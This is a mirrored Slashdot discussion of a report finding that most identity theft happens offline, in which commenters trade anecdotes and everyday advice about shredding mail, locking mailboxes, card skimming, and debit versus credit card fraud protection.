Slashdot Mirror


Identity theft Happens Predominantly Offline

prostoalex writes "Worried about identity theft online? Relax, say the Feds. You're much more likely to have your identity stolen offline (72% of the cases). In half of all the cases, it's the friendly relatives, neighbors and friends who steal the identity of the victim. Moreover, those watching their financial accounts online lose approximately $551 per incident. The average rockets to $4543 for those relying on paper statements from their banks and credit card companies."

326 comments

  1. who would ever have thought ? by cyberfunk2 · · Score: 0

    That something conducted around the flow of information happens in the prime medium in which information is transferred.

    amazing isnt it ?

    1. Re:who would ever have thought ? by cyberfunk2 · · Score: 0

      In case that wasnt clear to anyone, it reffers to paper still carrying an enormous amount of information that just isnt digitized or available digitally to the "curious".

    2. Re:who would ever have thought ? by Anonymous Coward · · Score: 0, Offtopic

      Also, In case that wasnt clear to anyone, I am trying to get first posts so I can get my free mac mini.

      Isn't my link awesome!?!?!?

    3. Re:who would ever have thought ? by Anonymous Coward · · Score: 0

      Get fucked, you fucking off-topic cuntmonkey. Your statement could've applied to any topic.

    4. Re:who would ever have thought ? by Anonymous Coward · · Score: 0
      As one of the 85% of the population not using online financial statements, I'm glad I chose to stick with paper-based statements.

      Since only 72% of the victoms were using paper-only, this clearly shows it is more dangerous online!

      And I think the person who submitted the article is misleading about the feds telling us to relax. Just look at the first sentence of the actual article (emphasis added):

      "Federal regulators warn that the Internet is the thriving frontier for identity theft, but 72 percent of the thefts of personal information for scams last year was done offline, a new report says."

    5. Re:who would ever have thought ? by mesach · · Score: 1

      Thats why I stay as broke as possible. You can't be a target if your credit sucks so badly that no one can use your identity!

      --
      moo.
    6. Re:who would ever have thought ? by Apoklypse · · Score: 1

      Amen, brother, amen ... that's what I've been doing ... and now after many years, I am so far below their radar ... I practically no longer exist to the banking and government systems ...

    7. Re:who would ever have thought ? by tbase · · Score: 1

      Wow, I can't imagine who would have been so ticked off at the reply as to post such a profane message. That Anonymous Coward thing has me totally befuddled. And yes, his statement could have applied to any topic, because it seems that "he's" posting his pyramid scheme link on all of the topics lately.

      --

      666-607: 6th floor apartment of the beast
  2. this is why by greechneb · · Score: 5, Insightful

    The best purchase you can make is a paper shredder, preferably a cross-cut model. When you get your mail, either shred it, or file it right away. A pile of mail sitting around is an easy target, especially if it isn't opened - you probably won't miss it if you haven't opened it. Shred everything, even those credit card applications. You don't want any information easily available!!!

    1. Re:this is why by Rosco+P.+Coltrane · · Score: 4, Funny

      The best purchase you can make is a paper shredder, preferably a cross-cut model. When you get your mail, either shred it, or file it right away.

      You're so right! I do that with email too: print them, then shred them thin. No more spam or viruses, nosiree.

      --
      "A door is what a dog is perpetually on the wrong side of" - Ogden Nash
    2. Re:this is why by ad0gg · · Score: 3, Insightful

      Problem isn't people going through trash, its people stealing your mail from the unlocked mailbox most people have. Best solution is getting a lock for you mailbox.

      --

      Have you ever been to a turkish prison?

    3. Re:this is why by Peyna · · Score: 5, Informative

      The two times I've had my credit card number stolen it was traced to a clerk or cashier at a location I had used my card. When it comes down to it, your information is only as secure as the people you give it to, and in most cases, it's the person standing behind the counter that you hand your card to that becomes the liability.

      Which is why I now always pay at the pump, and try to avoid any situation where my card will be in the hands of someone else. Most places where you swipe the card yourself, the cashier does not have access to that information. Although, I used to work a grocery store, and while the receipt didn't contain the full credit card number, the roll that kept the transaction log at the register did, and it would have been very easy for myself or any other employee to simply take the roll when we were heading to count our cash drawer and pick a few names and numbers to use.

      I imagine that most cases of "identity theft" are simply credit card fraud, and usually is not the result of someone dumpster diving for information.

      --
      What?
    4. Re:this is why by Anonymous Coward · · Score: 0


      One more thing you should do: If you get sensitive email from your bank or investment firm, be sure to print it out and shred it too.

    5. Re:this is why by Anonymous Coward · · Score: 2, Funny

      I tried that, but it didn't work out right. I locked my mailbox shut, but the mail carrier hasn't delivered any of mail since then. Strange...

    6. Re:this is why by Peyna · · Score: 3, Informative

      As a follow-up to this; I've also found that having online access to my account information (something many people are weary of due to supposed security issues), enabled me to catch the unauthorized charges almost immediately (in one case, before the charge had even cleared). If I had to wait around for a statement in the mail, I imagine they would have been able to charge a lot more to my account.

      Another thing is that you should never use your debit card at a retailer, only at an ATM ran by your bank (unless you're really desperate for cash.) Very few banks offer the same sort of protection against fraud that credit card companies do. Most credit card companies will excuse any liability for any charges that you did not make.

      --
      What?
    7. Re:this is why by afidel · · Score: 2, Informative

      The only time I was the victim of credit card fraud my bank caught it before anything happened. They called me up to ask if I was attempting to make such and such large transaction, I stated that I was not, they said that they had thought not. Their fraud detection computer had flagged my account after another small value transaction had been recorded for a specific amount, aparantly the theives had starting making large numbers of purchases for small values and the repetition of those values had tipped the computer off that something wasn't right. Aparantly the thieves were testing to see if the cards would work. After telling me that she would decline the transaction and flag the account the nice lady at the CC company asked me if I could think of any time in the last week that the card had been out of my site, I told her that I could only recall one time at a restaurant where the waitress had taken my card away, she said that this fit the patern they were seeing. I guess a large organized group had persuaded waitresses at a number of national chains to skim cards by posing as bank security people testing a new system. The amazing thing to me was that despite the appearance of this being a large, organized plan with probably high potential impact I never heard anything about it in the media.

      Btw if you have a Visa checkcard you are generally covered under the same $100 max liability as a normal credit card, but you should check the specifics with your bank and the written contract you signed, I know that the four that I signed up for or seriously looked at all had the same coverage.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
    8. Re:this is why by damiangerous · · Score: 2, Informative

      That was somewhat true when debit cards were first introduced (there was $50 or so liability then), but hasn't been the case for a very long time now. Any debit card with the Visa or MC logo has the same level of fraud protection as a credit card.

    9. Re:this is why by Xzzy · · Score: 4, Insightful

      > Which is why I now always pay at the pump, and try
      > to avoid any situation where my card will be in
      > the hands of someone else.

      There's another option: pay in cash. People that try to steal that stuff generally get caught a lot quicker, and even if they don't get caught it doesn't hurt you in the slightest.

      Credit cards are handy things, but using them to replace cash for day to day purchases is asking for trouble.

      I suppose if one is constantly getting mugged the above may not be sound advice. For the rest of us, it's much safer.

    10. Re:this is why by Cro+Magnon · · Score: 1

      I AGREE!!! I use cash when I buy gas & groceries. I only use my CC for online purchases, and large (over 100 bucks) purchases.

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    11. Re:this is why by nikai · · Score: 2, Interesting

      Haha, where I'm living (Austria), everyone has locked mail boxes at the moment. Only the mailman has got a second key to the box.

      However, our mail system is getting privatized, and the new mail services demand access to these locked boxes, so they can deliver mail as well. Now legislation has RULED to replace our locked mail boxes with UNLOCKED ones, in order that everyone can access them.

      May those idiot politicians rot in hell.

    12. Re:this is why by Qzukk · · Score: 1

      There was a fear-mongering news item on late night local news recently claiming that terrorist groups had installed "black boxes" at gas stations that read the credit card information after you swiped it at the pump and saved it for them. (This is here in Texas, so I'm sure we're just swarming with terrorists all out to get us)

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    13. Re:this is why by Gonarat · · Score: 0

      This is funny, but I don't think I have ever seen a (widely available) version of the "at the curb" or "by the front door" mailbox that had a slot where the mail carrier could put the mail in, but requires a key or combo to retrieve the mail.

      The only times I have seen locks on personal mailboxes is at the post office or a "Mailboxes Etc." type place. I have also seen mail slots in doors where the mail drops into a bin or onto the floor inside the house.

      Your average, everyday mailbox (at least here in the U.S.) is accessable to everyone. You could put a lock on it, but then...(see the above post)

      --
      Beware of Sleestak
    14. Re:this is why by Scott7477 · · Score: 1

      I think you would be better off getting your financial institutions to send you all of your bank statements, bills, etc via the internet. My bank just sends me an email telling me that my statement is available and I can log in to my account and look at it. Nothing comes through the mail. They also have a service where some of my utility bills go electronically to my bank and nothing is physically mailed to me.

      --
      "Lack of technical competence coupled with the arrogance of power, as usual, leads to no good end."
    15. Re:this is why by ikkonoishi · · Score: 2, Interesting

      Thats why I think the credit cards should work with a preapproval system.

      Basically for any purchase larger than say $50 you have to call the company and get the purchase approved. The company then gives you a transaction number that will charge to your card number once, but then never work again.

      The phone system could have a voice identifier and maybe a limit to what numbers could call to approve things. (Home phone only so people would have to break into your house or at least hack your lines to accomplish much.)

      The phone system would be a point of failure for security, but at least it would be a centralized point of failure rather than trusting basically everyone on the planet not to steal your card.

      If my bank had put this much thought into their system I would certainly pay to use it if I made many credit purchases.

    16. Re:this is why by Anonymous Coward · · Score: 0

      WTF?? You must live in some fucked up society if using credit cards "is asking for trouble"! Holy shit, that's really fucked up! I mean, I can see not using CCs because of privacy concerns, but "asking for trouble"?? Dude, move out of that hell as soon as you can, there are lots of civilized countries in the world where CCs, and more modern versions, are used daily, safely and happily. Holy shit! Where do you live??

    17. Re:this is why by arkanes · · Score: 1
      People have been doing this for a long time, although the readers on gas pumps would be more difficult. That's why we don't have the things that hold your card anymore, by the way.

      Naturally, though, it's not plain old American criminals, it's Evil Nasty Terrorists(tm).

    18. Re:this is why by ShawnDoc · · Score: 2, Informative

      My parents who live in rural Oregon have one. It's got a tray that opens up and has a slot for the mail to go into. To get the mail out you need a key to open a large door on the front. Kinda looks like a miniture version of the large blue post drops that you find in the city, only small and it fits on a mailbox pole.

    19. Re:this is why by superpulpsicle · · Score: 0

      If it wasn't for all this garbage marketing mail coming to my mailbox. My desk would be paperless all year round.

    20. Re:this is why by Audigy · · Score: 1

      There's only one benefit to living in the ghetto apartment complex that I do...

      There are rows upon rows of locked mailboxes out front, each numbered indiscretely. Nobody knows whose is whose, and there is a separate key for each one. Ain't nobody gonna get my mail 'cept me.

      --
      [an error occured while processing this directive]
    21. Re:this is why by DeathFlame · · Score: 1

      Might as well use cash if you have to go to all that hastle for a purchase of over $50.

      Your system makes credit cards useless.

    22. Re:this is why by Cerv · · Score: 1

      A better solution is for mail to be delivered through a letter flap cut into your front door. Now it is secure in your home rather than out in the street.

      --
      sig
    23. Re:this is why by Anonymous Coward · · Score: 1, Funny

      I beleive what you'r looking for is this.

    24. Re:this is why by STrinity · · Score: 1

      Yeah, that's a wonderful idea. Just the other day, I was in Best Buy, and I got to thinking, "Man, this line isn't moving slow enough. If only the clerk had to make a phone call every time someone buys a couple DVDs."

      --
      Les Miserables Volume 1 now up with my reading of
    25. Re:this is why by Jaycatt · · Score: 2, Interesting
      My father put a padlock on the front of the box, and leaves the box open with the unlocked padlock inside. He worked out with the mailman so that when the box is filled, the mailman locks the padlock on. After my father gets the mail, he puts the unlocked lock back in the mailbox.

      Works great, except that he's lost two locks in three years. But, he bought about six locks all keyed the same way, and they're pretty inexpensive.

      --
      "Shared pain is lessened; shared joy is increased. Thus we refute entropy" - Spider Robinson
    26. Re:this is why by gellenburg · · Score: 2, Insightful

      Yes, but the difference is with a CC the funds aren't immediately taken out of your checking account if there's fraud.

      Weouldn't it suck if you bounced your rent or mortgage payment because someone racked up fraudulent charges against your DEBIT card dropping your bank balance to near zero?

      And, have you ever tried to get your money back in that case? It can take upwards of sixty days with some financial institutions.

      The parent poster is right. NEVER use your debit card unless you absolutely have to.

    27. Re:this is why by mandolin · · Score: 1
      Same here, except our "lockboxes" are mechanically busted ('cause it's ghetto). Busted so that anybody with flexible fingers has no problem getting my mail .. and the mail of the three people next to me.

      Strangely enough, nobody wants my bills.

    28. Re:this is why by damiangerous · · Score: 1
      Weouldn't it suck if you bounced your rent or mortgage payment because someone racked up fraudulent charges against your DEBIT card dropping your bank balance to near zero?

      The phrase is "don't keep all your eggs in the same basket". Have a house account with no debit card tied to it if you're that concerned. Bouncing a check isn't the end of the world anyway, you're not going to lose whatever for a single late payment. At worse, you'll have a fee.

      And, have you ever tried to get your money back in that case? It can take upwards of sixty days with some financial institutions.

      No, it can take five, at the very longest.

      I would dare say that far more people ruin their own credit with poor money management brought on by easy access to credit cards. Any losses from debit card fraud pale hugely in comparison to the "save yourself from yourself" factor of living a cash lifestyle.

      The parent poster is right. NEVER use your debit card unless you absolutely have to.

      That's nothing but FUD. Once I get out of my current financial situation I'll be quite happy to never be in debt to anyone ever again, especially credit card companies. I love the debit card concept, the convenience of plastic while still living a cash lifestyle.

    29. Re:this is why by jacksonj04 · · Score: 1

      Some of us only have debit cards, you insensitive clod!

      Seriously though - I'm 17. I cannot therefore have a credit card. I use my debit card for all major purchases and lots of minor ones, I'll do things like put lunch for me and my friends (often no more than £20, we all have Subways or McDonalds) on my debit card. It sucks when used for fraud, but hey, that's life.

      --
      How many people can read hex if only you and dead people can read hex?
    30. Re:this is why by ikkonoishi · · Score: 1

      Except that the teller wouldn't be the one making the call. Which is kind of the whole point. You know the whole not allowing the teller to steal the number and all thing.

    31. Re:this is why by angle_slam · · Score: 1
      There's another option: pay in cash. People that try to steal that stuff generally get caught a lot quicker, and even if they don't get caught it doesn't hurt you in the slightest.

      Doesn't hurt you in the slightest? Huh? If you have $100 in your wallet and it is stolen, you're out $100. Sounds like being hurt to me.

      There are plenty of good reasons to use credit cards instead of cash:

      • If you return merchandise, you credit card is immediately reimbursed. No waiting for checks or dealing with store credit.
      • If your cash is stolen or lost, you're SOL. If your credit cards is stolen or lost, you call the credit card company and you're not liable past a certain amount ($50, IIRC).
      • You don't have to deal with bills that stick together or clerks that "inadvertently" give you the wrong amount of change.
      • After a day at the mall, your pockets won't be full of heavy change. With a credit card, no change.
      • Tips in restaurants can be calculated to the exact penny.
    32. Re:this is why by brunes69 · · Score: 1

      Which is why I now always pay at the pump, and try to avoid any situation where my card will be in the hands of someone else. Most places where you swipe the card yourself, the cashier does not have access to that information.

      Guess you havent heard about skimming, which is becoming extremely proliferated.

      http://www.identity-theft-protection.com/articles/ skimming.htm

    33. Re:this is why by symbolic · · Score: 1

      Which is why I now always pay at the pump, and try to avoid any situation where my card will be in the hands of someone else.

      Once the number leaves your hands in ANY form, it's subject to abuse. With at-the-register POS teriminals, you really have no idea where informations goes before heading to the bank for approval.

      There's a real easy solution to this...no, really. It's these little green paper things. Cash...yeah, that's what it's called. I use it all the time. In fact, I'm so watchful of any potential that some company might be tracking or retaining information on what I do, I avoid anything that can lead to identification. It's not quite as convenient as whipping out a piece of plastic every 10 minutes, but it's a hell of a lot more reassuring.

    34. Re:this is why by sam5550 · · Score: 1

      The best purchase you can make is a paper shredder, preferably a cross-cut model.

      Shredders are nice, but the ultimate method of paper destruction remains fire.

      If a piece of paper is tossed on a good, hot fire, it will literally cease to exist. You could search the fireplace for days and not find any remains.

      It might not be practical for everyone, but if you already have a fireplace, and use it almost every day (especially during the winter), it's a good option.

    35. Re:this is why by crazy_monkey · · Score: 1

      You know what's funny? I've worked at a gas station and ALL pay-at-the-pump transactions are printed inside for records and available to the cashier (at least at the one I worked at).

      Full CC#s, same as inside receipts. Also, if you were dealing with someone who wanted your PIN, the #pad on the pumps would be MUCH easier to install stuff on (cashiers have the keys to change the paper for receipts at the pumps) than the debit machine inside.

      Yes, gas stations are stupid.

    36. Re:this is why by Xzzy · · Score: 1

      > Huh? If you have $100 in your wallet and it is
      > stolen, you're out $100. Sounds like being hurt to
      > me.

      I seem to recall leaving a qualifier in my post that if one gets mugged, my advice is not sound. I know reading articles is a rare thing on slashdot.. but not reading the posts you're replying to?

      My hat's off to you for that, sir.

    37. Re:this is why by miskatonic+alumnus · · Score: 2, Insightful

      One could, of course, build one.

    38. Re:this is why by Feztaa · · Score: 1

      I think the point he was making is that if you pay $100 cash at the grocery store, and the grocery store is then later robbed, that doesn't affect you. But if you had used your credit card, the robber could take the transaction log with your card # on it, then you'd be in trouble.

    39. Re:this is why by Fulcrum+of+Evil · · Score: 1

      No, it can take five, at the very longest.

      I'm inclined to disagree, seeing as how you linked to visa, and the GP was talking about debit cards.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    40. Re:this is why by damiangerous · · Score: 1
      Sigh. Read the link.

      "The Zero Liability policy covers all Visa credit and debit card transactions processed over the Visa network"

      They may still exist, but I certainly haven't seen a non Visa/MC branded debit card this century.

    41. Re:this is why by Anonymous Coward · · Score: 0

      That's a common mafia scam, and you'll probably find that the waitresses are in on it.

      To withdrawl the money, they set up a paypal and bank account (with keycard) using fake credentials and a fake address (abandoned building, etc) a few months prior, and simply grab the funds at an ATM.

    42. Re:this is why by Fulcrum+of+Evil · · Score: 1

      The Zero Liability policy covers all Visa credit and debit card transactions processed over the Visa network"

      So, how is a swipe at the grocery store (which goes over non-Visa networks) covered?

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    43. Re:this is why by SCHecklerX · · Score: 1

      Don't forget to shred all of your credit receipts when you balance your checkbook too.

    44. Re:this is why by jfisherwa · · Score: 1

      So everyone would be forced to carry a cell phone? Or do we trust the phone that you're assuming every store will provide for us? What if someone is listening in on that line? Or all lines for that grocery store?

      And even if this would work, why wouldn't we want the teller to know the number? Don't we have to give it to him to 'charge it' anyway? Or are you expecting everyone to cover their mouths and whisper into the phone while standing in line at the grocery store? What if someone can read lips or has an amplified directional microphone?

      An overall better solution for making purchases than the credit card just isn't possible with current technology. If there was, we'd be using it. In the end, all other systems fall apart and require a physical device less convenient than a single small plastic card.

      Oh, and you know.. if you really want, you could do something near to your proposal right now. Every store I've ever been to offers gift cards. If they steal the number to it, you're only out the value of the card. But you're just changing one risk for another -- it's a lot easier to lose track of one of your dozen gift cards.

    45. Re:this is why by Anonymous Coward · · Score: 0

      In my own case, it was a stolen credit card right out of the mail. They also managed to get my ssn somehow, possibly through a government letter from the ssn officer or somethhing.

      Opened new accounts in my name, maxed my credit card they stole out too, and seems they are still using my name with real estate agents too.

      Stupid credit card designs. companies shouldn't allow someone to open up store credit cards with simply an out of state drivers license. Especially what must have been a badly forged one, since in my state we have dl's that aren't simply thin plastic over paper.

      I'm still trying to deal with the fallout from it.

      Fortunately they never seem to have gotten my bank info.

    46. Re:this is why by damiangerous · · Score: 1

      Umm, whose network DOES it go over? Or are you saying you have no protection against fraud at the grocery store? Because that would be a ridiculous statement.

    47. Re:this is why by Anonymous Coward · · Score: 0

      Too much hassle.
      I (and just about everyone I know) only use my creditcard for either large purchases (to get a wee bit of a delay before it's charged to my bank account) or when in places where I can't use my bank card (like abroad, far from my home phone...).

      In fact, the only time I've ever used my CC for anything else was when the bank had blocked my bank card because they had indication it may have been copied (which would have been at an ATM in a mall of all things...).

      Even purchases of hundreds of Euros I don't regularly use my CC, in fact I paid for my car using my bank card (6500).

    48. Re:this is why by laughingcoyote · · Score: 1

      When my debit card was stolen, almost $650 in charges were made to it before I noticed the next day and reported it. As soon as I reported it to the police, the bank reversed the charges. In the end, the bank has every bit the same authority as the credit card companies to "charge back" the merchants who allowed the unauthorized charge. It is (legally) the responsibility of the person or entity accepting the card as payment to verify that the person using the card is supposed to be, and it is the accepting merchant who will suffer a chargeback if they don't.

      However, I noticed neither by a paper statement, nor an online one-in my case, the physical card was stolen, and I noticed it missing. Turned out it was stolen by my roommate who'd bought himself a bunch of bags, a Discman and bunch of CD's, etc., and skipped out of the state.

      --
      To fight the war on terror, stop being afraid.
    49. Re:this is why by Anonymous Coward · · Score: 0

      apparently someone doesn't know the VISA network refers to processing via VISA, which if its a VISA branded card is all you can to. You can't process a VISA with AMEX or MC or Discover... No VISA only via the VISA network, which you of course have to have all the proper merchant accounts and such for. If you swipe your card at a grocery store that accepts VISA, then it gets processed by VISA's network, plain and simple.

    50. Re:this is why by Tim+C · · Score: 1

      but not reading the posts you're replying to?

      Oh no, in my experience that's pretty common too. People often shoehorn in references to their pet love or hate (be it MS, Linux, Java, C, whatever) whether it's entirely relevant or not.

    51. Re:this is why by mo^ · · Score: 1

      Tips in restaurants can be calculated to the exact penny.

      Dunno how it works in the US, but I never tip on Credit Card... that only ensures the tip is taxed and skimmed by management.

      The last such place i worked only gave 18% of all tips received to the waiting staff... rest went in general staff bonuses (that we would have been entitled to anyway), and the managing and kitchen staff.

      --
      bah!*@%!
    52. Re:this is why by Anonymous Coward · · Score: 0
      Where do you live??

      In the United States of America!

    53. Re:this is why by duffster · · Score: 1

      A shredder is best, but if you don't have one then you can at least tear your mail into several pieces through the important details (credit card number, etc). Then put half of the pieces into a wastepaper basket that you only empty occasionally, and the other half straight in with the main trash. That way it at least becomes harder for someone to gather all the pieces and reassemble them to give your full details.

    54. Re:this is why by stephenbooth · · Score: 1

      Well, here in the UK it first goes over BarclayCard or NatWestMerchantServices network to a regional clearing centre where it is logged then put on the Visa, MasterCard or whatever card it is network. Barclay and NatWest match the protection that your card issuer provides you with in the event that it was on their network the theft/fraud/whatever occured.

      Stephen

      --
      "Don't write down to your readers, the only people less intelligent than you can't read" - Sign on Newspaper Office Wall
    55. Re:this is why by stephenbooth · · Score: 1

      There are a lot of places that would refuse to serve you if you tried to pay cash for high value items (or a number of lower value items that added up to a big value). Sure you could go somewhere else, assuming there's a somewhere else that sells the item(s) you want at a comparable price and they don't have the same policy. Plus, if you carry large quatities of cash you're likely to get mugged (and have less come back if you are) or subject to justified suspicion (when only criminals and Securicor vans carry large quatities of cash anyone carrying large quantities of cash who isn't a Securicor van is suspected to be a criminal).

      Stephen

      --
      "Don't write down to your readers, the only people less intelligent than you can't read" - Sign on Newspaper Office Wall
    56. Re:this is why by Fulcrum+of+Evil · · Score: 1

      Umm, whose network DOES it go over?

      My card says that it goes over Cirrus and Star. Whether ATM transactions over that network go through Visa, I do not know. I don't see why they would, though.

      Or are you saying you have no protection against fraud at the grocery store? Because that would be a ridiculous statement.

      You do, but I would expect that it would be through your bank, not visa.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    57. Re:this is why by ballyhoo · · Score: 1

      In Europe, this is being combatted by using chip and pin enabled cards. All new credit cards are now issued with a sim chip which contains an unreadable key and a copy of your pin, also unreadable. When you put through a transaction on a chip-n-pin enabled terminal, you need to enter your pin, which will allow the chip to conduct an encrypted session to your bank. The chips can't be replicated and while there's sensitive data on them, it's write only and duplication is basically impossible.

      As an incentive for merchants to upgrade to using the new systems, the credit card companies have changed their T&C's from Jan 2005 so that the merchant is now liable for the fraudulent transaction if they've been upgraded by their bank to use a chip-in-pin terminal and they then decline to use it for customers with a chip-enabled card.

      This will almost completely stop skimming fraud for terminal transactions within a year or two, although it still doesn't get around the problem of card-not-present transactions.

    58. Re:this is why by 4of12 · · Score: 2, Funny

      Tips in restaurants can be calculated to the exact penny.

      Sounds a little imprecise to me.

      I've found that waitresses are much more impressed when you leave the exact 15% tip, which is why I carry penny wedges cut into slices of US$0.0005 denomination.

      Add three of those twentieth of a penny wedges on the table and it really says you care.

      --
      "Provided by the management for your protection."
    59. Re:this is why by Cro+Magnon · · Score: 1

      You can still avoid debt while using credit cards. Just pay off the full balance every month. As long as you do that, you can charge as much as you can afford without paying a cent of interest.

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    60. Re:this is why by angle_slam · · Score: 1
      You had a pretty serious qualifier, but brushed it off like it's nothing. The biggest plus of a CC is that you aren't out money if it is lost/stolen. The biggest minus of cash is you are SOL if it is lost/stolen.

      Are there good reasons NOT to use a credit card? Of course:

      • It's easier to lose track of how much you spent if you use a credit card. If you take a credit card with $1000 credit line left, but you promise yourself to only use $500, it's a lot easier to shoot past your personal $500 limit than it would be if you had $500 in your wallet that had to last until your next pay check.
      • Related to the first reason, if you run out of cash, you're just out of cash and you stop spending. With a credit card, the companies will just keep increasing your limit, making it easier to get into financial straits.
      If you have fiscal discipline, credit cards have it all over cash. The problem is that you can lose financial discipline without even thinking about it when you have large credit lines.
    61. Re:this is why by fataugie · · Score: 1

      Must suck to be that Mailman, he must get a hernia toating around a keyring the size of a hula hoop

      --

      WTF? Over?

    62. Re:this is why by symbolic · · Score: 1


      You are correct. I am mainly referring to small-ticket items - grocery store, etc. For larger items, I'd probably get a cashier's check.

    63. Re:this is why by cakefool · · Score: 1

      yeah! Screw the macmini!

    64. Re:this is why by Snowdog668 · · Score: 1

      I've been doing this for years after someone lifted a "pre-approved" credit card application and used it to get a card in my mother's name.

      I actually got stung from another direction. Now I can't prove this is how it happened but it's the only thing that makes sense. A few years ago when I was getting married we decided to go to Ireland for our honeymoon (great trip by the way, we're going back in September). Anyway, to make the trip I needed to get my passport done since I hadn't been out of the country since high school. I went to a nearby post office to get my passport done. They take all of your information, including SSN. A few months after the trip I had to buy a new vehicle because I had gotten rear-ended. When they ran the financing the guy told me my credit rating wasn't good enough. Now I have always had stellar credit so I went home and ran my reports. Someone had taken my SSN and name and used it to get a Citibank account, which they promptly maxed out and defaulted on. As far as I could figure out the only place they could have matched my SSN and name was from the application for my passport since I didn't give my SSN to anyone anytime near the period that this happened. It only took me a few months to get my record cleared and now I check my reports several times a year, plus I have a flag on my report I am to be contacted personally if anyone tries to get credit using my SSN. So far no problems.

      [side rant] It's always p*ssed me off that Citibank fell for this. At the time I *had* a credit card with them. You'd think something would have popped up a red flag along the lines of "existing ssn in the system, existing name in the system, completely different address requested for the new card". Oh well, at least it got fixed.

      [side rant # 2] The cops of course did nothing but fill out the report. Not a slam on the cops because I've since become friends with some of the guys in my local department. Still, one of the things the person used it for was to pay off their gas bill. I gave the cops the address that the card was sent to (that shows up on your credit report as a "known address", plus the Citibank rep verified to me that was where the card was sent). How hard would it be to take that address and crossmatch it to the address the gas bill was paid on. If they match, good circumstantial evidence that *someone* at that address knows something. :)

      As for online identity theft, the only time I've ever had a credit card stolen was after I made purchases on http://www.aafes.com/ which is the U.S. Army (and Airforce) Exchange website. Go figure, an "unofficial Department of Defense" site with poor security. That got cleaned up immediately (Bank One, not Citibank).

      I'm actually happy with the security department at Bank One. Last summer, right after our son was born, the wife and I made a trip "behind the cheddar curtain" into Wisconsin (we live 20 miles or so south of the border). We bought some stuff at the Sony Outlet there, then some stuff at Carters for our newborn. By the time we got home there was a message for me on the answering machine. Someone had noticed "unusual" activity on our card and wanted to verify that it was correct. I like to think that the 35 year old "I'll never have kids" buying baby clothes triggered something. :)

      --
      I wouldn't say I'm a bad gambler but the last time I went to Vegas I even lost a buck on the soda machine.
    65. Re:this is why by HeyLaughingBoy · · Score: 1
      By the time we got home there was a message for me on the answering machine.

      That was pretty quick. About a week after we came back from an Alaskan vacation, I got a letter from Citibank showing all the charges I made there, and asking me to verify that my card hadn't been stolen. I guess the sudden flurry of activity 2,000 miles away on a card that averages less than $100 purchases per month triggered some algorithm.

      I've also gotten phone calls from Citibank security asking about weird activity on my account. The guy said it looked like someone was testing to see if the card was valid before using it to buy something big (apparently they see this a lot). The charges never showed up on my bill.
    66. Re:this is why by Steve+B · · Score: 1
      Shred everything, even those credit card applications.

      Credit card applications go back in their postpaid envelopes (after shredding). If you put a One-Stop Identity Theft Kit in my mailbox, it's gonna cost you.

      --
      /. If the government wants us to respect the law, it should set a better example.
  3. Now is the time.. by Norgus · · Score: 5, Funny

    To start stealing IDs online, you guys are WAY behind your quota!

  4. It amazes me how bad retailers are by hsmith · · Score: 4, Interesting

    I worked in retail for awhile, I learned a trick for myself. I write "ASK FOR ID" on the back of all my credit/debit cards.

    RARELY do i have someone ask to see my identification, no matter where I go. it amazes me how easily it is to get away with small things like this.

    But I do urge everyone to do that with their credit cards, it may not always be checked, but it is better than a scribble on the back. But while in london, I almost had a pub owner take my CC because my name was't "ASK FORD ID", arg.

    1. Re:It amazes me how bad retailers are by Rosco+P.+Coltrane · · Score: 5, Funny

      I worked in retail for awhile, I learned a trick for myself. I write "ASK FOR ID" on the back of all my credit/debit cards. RARELY do i have someone ask to see my identification, no matter where I go. it amazes me how easily it is to get away with small things like this.

      Personally, I write "THIS CARD IS STOLEN!" on the back of mine. That way, I'm extra sure it'll be reported the very minute it's used after it's stolen.

      --
      "A door is what a dog is perpetually on the wrong side of" - Ogden Nash
    2. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 1, Interesting


      I filled out a form at blockbuster for a membership. One of the lines was for your social security number. I left it blank of course. The clerk read it over and told me I forgot to enter my ssn. I just laughed and said I wasn't going to. She said I was the first person she who had ever done that. The moral is: People are stupid.

    3. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      The problem with writing "Ask for ID" or similar on the back of your credit cards is that some places, notably the US Post Office, won't take the card signed that way.

    4. Re:It amazes me how bad retailers are by Anonymous Coward · · Score: 0

      I've heard pubs are wary about people named Ford when it's not their last name. Something about Vogons...

    5. Re:It amazes me how bad retailers are by kaustik · · Score: 4, Insightful

      I've worked in retail before and have seen many people do this. Personally, I find it amusing. Nowhere in either the store policy, or state law, did it mention anything about following cutomer direction on the back of a credit card. You are not only wasting your time, you are causing potential confusion for the poor $5/hr kid behind the counter.
      Maybe I should start writing things on the back of my card - "Give 5% discount", "Shake hands and smile", or "I'm 17, too babe, it's legal".

    6. Re:It amazes me how bad retailers are by J3M · · Score: 1

      My girlfriend works for a financial institution. She has also learned to do what you mention. However, there are places that will not accept your card if not properly signed, and ASK FOR ID is not a proper signature. Fortunately, these places are far and few between. If more people signed their cards in this manner, maybe they'd come around.

      For those that don't sign their cards at all, please do so. You'd be surprised how many people do not.

      --
      Aych tea tea pea colon slash slash slash dot dot org slash
    7. Re:It amazes me how bad retailers are by Rosco+P.+Coltrane · · Score: 1

      I don't think he meant he signs them on the writable strip, I think he meant he writes that with a felt tip marker under his regular signature or something. That's what I do anyway ;)

      --
      "A door is what a dog is perpetually on the wrong side of" - Ogden Nash
    8. Re:It amazes me how bad retailers are by hal2814 · · Score: 3, Interesting

      I sign my name and then put ASK FOR ID next to it. Interestingly enough, I was in London on vacation back in 2000. I had one shop (or is it a "shoppe" over there?) request that I write out ASK FOR ID next to my signature so it matched what was on the card. Are the credit card companies just stricter over there or something?

    9. Re:It amazes me how bad retailers are by TooTechForYou · · Score: 1

      I learned a trick for myself. I write "ASK FOR ID" on the back of all my credit/debit cards

      Another thing that is important to mention is that you should never leave your cards unsigned. I work retail and there are a good percentage of people who leave thier cards insigned so that way people will check thier ID. The bad thing about this is that someone could easily pick the card up and sign the cardholders name on the back. This dosn't even occur to those who refuse to sign.

      It is amazing whay you can get away with before someone will check your card.

      --
      -- Nic
